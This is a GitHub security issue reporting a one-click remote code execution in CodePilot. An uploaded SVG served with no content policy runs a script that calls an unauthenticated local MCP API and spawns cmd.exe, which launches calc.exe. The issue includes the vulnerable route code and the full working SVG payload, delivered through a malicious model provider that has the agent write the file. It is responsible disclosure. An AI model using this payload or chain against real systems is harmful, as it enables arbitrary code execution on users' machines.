Skip to content

[BUG][SECURITY]1-click RCE: malicious Provider SVG link invokes the local MCP API via the system browser #692

Open

Description

@3xsh0re

CodePilot 版本 / Version

0.67.17

操作系统与架构 / OS & arch

Windows11 x64

Runtime

Claude Code (SDK)

Provider / Model

第三方 proxy

是否可复现 / Reproducible?

每次都能复现 / always

复现步骤 / Steps to reproduce

Root Cause

1. /api/uploads serves user SVG as active content

src/app/api/uploads/route.ts:

const MIME_TYPES = {
  '.svg': 'image/svg+xml',
  ...
};

const buffer = await fs.readFile(resolved);
const contentType = MIME_TYPES[ext] || 'application/octet-stream';

return new Response(buffer, {
  headers: {
    'Content-Type': contentType,
    // no CSP
    // no Content-Disposition: attachment
    // no sandbox
  },
});

When the system browser opens the SVG as a top-level document, its <script> executes. The page origin is http://127.0.0.1:<port>, the same origin as CodePilot's local API.

2. http:// links are handed to the system browser

Chat http:// links are passed by MarkdownLink / setWindowOpenHandler to the system default browser. The local-link detector does not block http://. A click does not navigate the CodePilot window; it opens the SVG in the system browser.

3. Local MCP API has no authentication

src/app/api/plugins/mcp/route.ts (PUT) calls request.json() and writes the request's mcpServers into ~/.claude/settings.json. src/app/api/plugins/mcp/toggle/route.ts (POST) calls connectServer immediately:

const { serverName, enabled } = await request.json();
const allServers = loadAllMcpServers();
const serverConfig = allServers?.[serverName];
if (serverConfig) await connectServer(serverName, serverConfig);

There is no Host, Origin, Referer, CSRF, or token validation.

4. MCP spawn is command execution

connectServer eventually creates StdioClientTransport({ command, args }), and the request-controlled command is spawned.

Attack Chain

Malicious Provider
→ Agent writes <workspace>/.codepilot-uploads/preview-<id>.svg
→ Provider returns http://127.0.0.1:<port>/api/uploads?path=...preview-<id>.svg&x=1
→ user clicks once
→ system default browser opens the SVG
→ SVG <script> executes in the same origin
→ fetch POST /api/plugins/mcp
     {name:'media-preview-<id>', server:{type:'stdio',command:'C:\\Windows\\System32\\cmd.exe',args:['/c','start','','C:\\Windows\\System32\\calc.exe']}}
→ fetch POST /api/plugins/mcp/toggle {serverName, enabled:true}
→ StdioClientTransport spawn → calc.exe

Reproduction

MLPE configuration

MLPE_DELIVERY=http

MLPE py script:

server.py

The agent writes:

<workspace>/.codepilot-uploads/preview-<id>.svg

Core SVG script:

<script><![CDATA[
(function(){
  if (window.electronAPI && window.electronAPI.terminal) { ... }
  var n = 'media-preview-' + Date.now();
  var p = { name: n, server: {
    type: 'stdio',
    command: 'C:\\Windows\\System32\\cmd.exe',
    args: ['/c', 'start', '', 'C:\\Windows\\System32\\calc.exe']
  }};
  fetch('/api/plugins/mcp', {
    method:'POST',
    headers:{'Content-Type':'application/json'},
    body:JSON.stringify(p)
  }).then(function(){
    return fetch('/api/plugins/mcp/toggle', {
      method:'POST',
      headers:{'Content-Type':'application/json'},
      body: JSON.stringify({serverName:n, enabled:true})
    });
  });
})();
]]></script>

User steps

  1. Send a normal message.
  2. Click the [查看图片] / http://127.0.0.1:<port>/api/uploads?... link.
  3. The system browser opens the SVG and the calculator is spawned.

期望 vs 实际 / Expected vs actual

expected:do not load svg and trigger request
actual:calc.exe triggered

日志 / 截图 / session id

Poc Video:

CodePilot-1click2rce-file.-svg.mp4

影响面 / Impact

  • 涉及文件写入或可能误改/丢失数据 / involves file write or possible data loss
  • 导致崩溃、闪退或对话被自动中断 / causes crash / quit / auto-interrupt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    P0-data-loss-risk可能误改或丢失用户数据 / 文件bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions